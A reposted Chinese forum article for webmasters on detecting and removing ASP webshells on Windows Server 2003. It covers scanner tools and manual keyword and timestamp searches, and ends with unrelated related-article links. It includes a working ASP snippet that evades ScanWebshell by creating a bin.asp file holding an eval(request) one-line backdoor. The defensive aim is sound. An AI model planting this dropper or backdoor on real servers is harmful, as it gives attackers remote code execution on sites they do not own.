干掉Webshell!——站长安全顾问系列话题二

简介: 转载黑客防线在脚本入侵如此疯狂的当今时代,脚本系统所谓的“0day”漫天飞舞,一不小心webshell就被放到了服务器上。

转载黑客防线

在脚本入侵如此疯狂的当今时代,脚本系统所谓的“0day”漫天飞舞,一不小心webshell就被放到了服务器上。如何干掉已经存在于服务器上的webshell?估计很多朋友看到这个提问都会有些轻微的寒意,因为现在的webshell太BT了,花样翻新而且层出不穷,简直就象打不死的小强!我¥%+%¥*+%¥*
    以Windows Server2003系统ASP+SQL Server典型环境为例,本贴列举两种常规的清理Webshell的方法,召唤更多亡羊补牢的干掉webshell的金点子,砖头拍过来吧!
1.工具
    作为服务器管理者,网络上各种清理webshell的工具应该人手一份,虽然这些工具做不到100%清理,但至少普通的webshell是可以搞定的。这里列举两个:aspcandy和ScanWebshell。
    Aspcandy是村雨写的,发布的时间比较早,也没有再公开更新,感觉还不错,至少可以省掉很多手工查找的麻烦。这个工具主要用来查找被入侵过的机器上面是否有asp后门,检查服务器上的ASP文件是否有危险操作而存在。一般普通的用常规函数写的webshell可以很方便的检测出来。
                        
    ScanWebshell是lake2在06年中旬写的一个asp页面形式的查询webshell的工具,它可以查asp、cer、cdx、asa及其嵌套调用的任意格式文件,但是图片asp木马之类的查不到。基本原理也是通过对特别的函数做审查而判定是否为webshell。
                        
    但是这个东西出来以后,就好比木马查杀工具在免杀技术面前无奈一样,穷举类型的安全规则还是很容易被人突破,所以很快就有人提出了突破它的方法:
<%
pass="hacker"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>

    直接访问xxx.asp?bin=hacker会在当前目录下生成一个bin.asp,连接密码为hacker。这个小东西文件可以躲避ScanWebShell,但是生成的bin.asp还是会被查杀。

2.手工
    喜欢黑客技术的人自然更喜欢手工去搞一些东西,这样对动手能力会有一定的提高。一般有实际用处的手工检测webshell的方法有两种:一种是通过特征字符进行判断,一种是通过系统时间进行判断。
    所谓的特征字符判断,实际上和所有网上的清理工具使用的方法是一样的,就是对webshell可能使用到的独特的函数进行过滤,发现调用就仔细查看是不是webshell。比如可以使用UE,设定“Execute(Request("”关键字符对web文件夹下的所有文件内容进行查询,以此来找出一句话后门。
                        
    这种方法的优点在于很容易找到有针对性的后门,比如一句话后门和网络上常见的后门,缺点是对未知的后门几乎没用。
    另一种方法是通过系统时间来做第一次判断,在估算被放置后门时间的左右时间段内,查询所有服务器上,网络用户可访问文件的修改、写入等相关操作,以此来确定webshell的范围,并进一步仔细清理。比如:查找所有上个月内,服务器上web路径下的所有文件改动、生成。
                        
    在没有被人获得完全的服务器权限的情况下,用搜索的方法是比较有威力的,可以查出来所有有可能有问题的文件,包括特殊加密后的webshell、图片类型的webshell。但是,一旦服务器被人搞掉了,拿到了高的权限,那文件时间却又是可以很容易修改的——所以,在确定服务器没有被搞掉的时候,大胆的使用这个方法去干掉webshell吧!

    上面几个方法都是有一定作用的清理服务器上webshell的方法,对一般的webshell清理是比较有帮助的,服务器管理员在遇到webshell的情况下可以用以上的方法做一下测试,可能会有帮助。

问题来了:
1.        以上的工具和手工清理方法,有没有突破的办法?怎么突破?
2.        有没有更好的清理已经存在的webshell的方法?怎么清理?
[当然,以上帖子的所有讨论,都是基于已经被放上了webshell的情况,怎么让别人放不上webshell他日再论。] 
 

目录
相关文章
|
缓存 运维 负载均衡
华为大佬秘密撰写的Nginx运维笔记遭人恶意开源,整整638页全泄露
众所周知,Nginx是当下最流行的Web服务器,它具有很强的负载均衡,反向代理,邮件代理以及静态缓存的功能。在提供这些功能的同时,Nginx的性能也极其优秀,可以轻松支持百万、千万级的并发连接,能够为Tomcat、Django等性能不佳的Web应用抗住绝大部分外部流量。那么,Nginx是如何实现高速并发处理呢? 今天小轩就在这里给大家介绍一份“Nginx”的实战笔记,整整638页。话不多说,直击主题。让我们一起来看看这份有着“百万点击播放量”的Nginx笔记吧。 由于篇幅受限,部分内容只能以截图的方式展示出来。需要完整版点击此处获取。 Nginx应用与运维实战 目录
|
7月前
|
运维 搜索推荐 数据安全/隐私保护
如何巧用阿里云搭建公司网站?
现在是互联网时代,很多企业都注重互联网,通过做公司网站进行展示及营销。公司网站好处有以下几点:
142 0
|
存储 缓存 前端开发
“你的网站加载速度很慢怎么办?”——技术经理在面试中可能遇到的可怕问题
“你的网站加载速度很慢怎么办?”——技术经理在面试中可能遇到的可怕问题
153 0
|
SQL JSON 安全
技术分享|记一次差点错过任意密码重置漏洞
技术分享|记一次差点错过任意密码重置漏洞
142 0
技术分享|记一次差点错过任意密码重置漏洞
|
数据采集 搜索推荐 机器人
程序人生 - Python爬虫要违法了吗?告诉大家:守住规则,大胆去爬
程序人生 - Python爬虫要违法了吗?告诉大家:守住规则,大胆去爬
499 0
程序人生 - Python爬虫要违法了吗?告诉大家:守住规则,大胆去爬
|
安全 双11
网站安全防护 防止网站被撸羊毛
撸羊毛借助联系发卡平台能够处理二次验证难题——黑卡的生命期是3个月~一年,撸羊毛能够联系发卡平台从新上卡亦或是申请注册前事先约好卡源在线的时间来处理二次验证难题。但这并不代表着二次验证是没用的。上小节提及卡商会反复补卡来做到收入利润最大化,因此发卡平台约好线上时间(某一大批卡源固定不动占据某些4g猫池机器设备)时,会借助提高领号成本价来确保收入。这针对作为供应商的发卡平台而言是满足收入规定的,但针对中下游撸羊毛而言领号成本费用将是原先的2~10倍,818和双11等大促主题活动时一般 还会继续再提高2~5倍。
507 0
网站安全防护 防止网站被撸羊毛
|
弹性计算 算法 数据可视化
头条!!20年轻小伙教你如何上线——后端用户管理项目。震惊35岁高危程序员
ECS的操作 和 java-ssm框架 /后端用户管理项目
165 0
头条!!20年轻小伙教你如何上线——后端用户管理项目。震惊35岁高危程序员
|
搜索推荐 定位技术 SEO
某工程师透露,网站收录慢的真正原因
相信很多站长发现新网站在搜索引擎收录的表现越来越差,几个月只收录首页的站比比皆是,有些老域名的新站表现还可以,但整体来讲收录困难。而最近一位搜狗搜索部门辞职的工程师透露了个内部消息,意思是工信部可能有要求所有搜索引擎对未备案的网站降低抓取频率,那么意味着收录会很困难,真是如此以后做网站备案成为必要条件。
某工程师透露,网站收录慢的真正原因
|
SEO
草根seo站长利用网站赚钱的方法
很多SEO同行以为会网站建设就能大赚一笔,能成交一单则一单,遇到客户砍价,想着这个月的开支默默的接受了。这样其实只能说是过日子混生活,靠这个慢慢的积累不知何年何月才可以付个房子的首付,接下来的……一大堆根本就不用说都明白。
1846 0
|
安全
菜鸟站长应该如何防止网站被恶意攻击
随着互联网的发展,很多人都已经有了自己的网站。无论是企业,商家还是个人。以前,做一个网站都得在上千上万元。如今,网站建设的的价格也不再那么贵了,几百块钱就可以做一个网站。而且,这些几百块钱的网络公司大多多都是自学成才的,技术根本没法和专业的网络公司相比。
3100 0